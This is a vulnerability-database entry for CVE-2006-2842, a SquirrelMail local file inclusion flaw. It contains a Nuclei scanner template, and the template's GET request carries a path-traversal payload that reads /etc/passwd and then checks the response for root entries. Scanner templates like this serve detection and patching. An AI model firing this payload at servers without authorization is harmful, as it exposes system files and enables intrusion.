Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2006-2842
HistoryNov 15, 2021 - 6:10 p.m.

Squirrelmail <=1.4.6 - Local File Inclusion

2021-11-1518:10:49
ProjectDiscovery
github.com
2

7 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.281 Low

EPSS

Percentile

96.8%

SquirrelMail 1.4.6 and earlier versions are susceptible to a PHP local file inclusion vulnerability in functions/plugin.php if register_globals is enabled and magic_quotes_gpc is disabled. This allows remote attackers to execute arbitrary PHP code via a URL in the plugins array parameter.

id: CVE-2006-2842

info:
  name: Squirrelmail <=1.4.6 - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: SquirrelMail 1.4.6 and earlier versions are susceptible to a PHP local file inclusion vulnerability in functions/plugin.php if register_globals is enabled and magic_quotes_gpc is disabled. This allows remote attackers to execute arbitrary PHP code via a URL in the plugins array parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade Squirrelmail to a version higher than 1.4.6 or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/27948
    - http://squirrelmail.cvs.sourceforge.net/squirrelmail/squirrelmail/functions/global.php?r1=1.27.2.16&r2=1.27.2.17&view=patch&pathrev=SM-1_4-STABLE
    - http://www.squirrelmail.org/security/issue/2006-06-01
    - https://nvd.nist.gov/vuln/detail/CVE-2006-2842
    - ftp://patches.sgi.com/support/free/security/advisories/20060703-01-U.asc
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2006-2842
    cwe-id: CWE-22
    epss-score: 0.25691
    epss-percentile: 0.9628
    cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: squirrelmail
    product: squirrelmail
  tags: cve,cve2006,lfi,squirrelmail,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/src/redirect.php?plugins[]=../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402204e83bd6e716c336c1660d900f8c08653ace9865180909e88dc35b6180af0634d02205959ac5c89fa3aa04db1f64a614848f8a84c0604fe7f72bad1f63b1c99d8404b:922c64590222798bb761d5b6d8e72950

7 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.281 Low

EPSS

Percentile

96.8%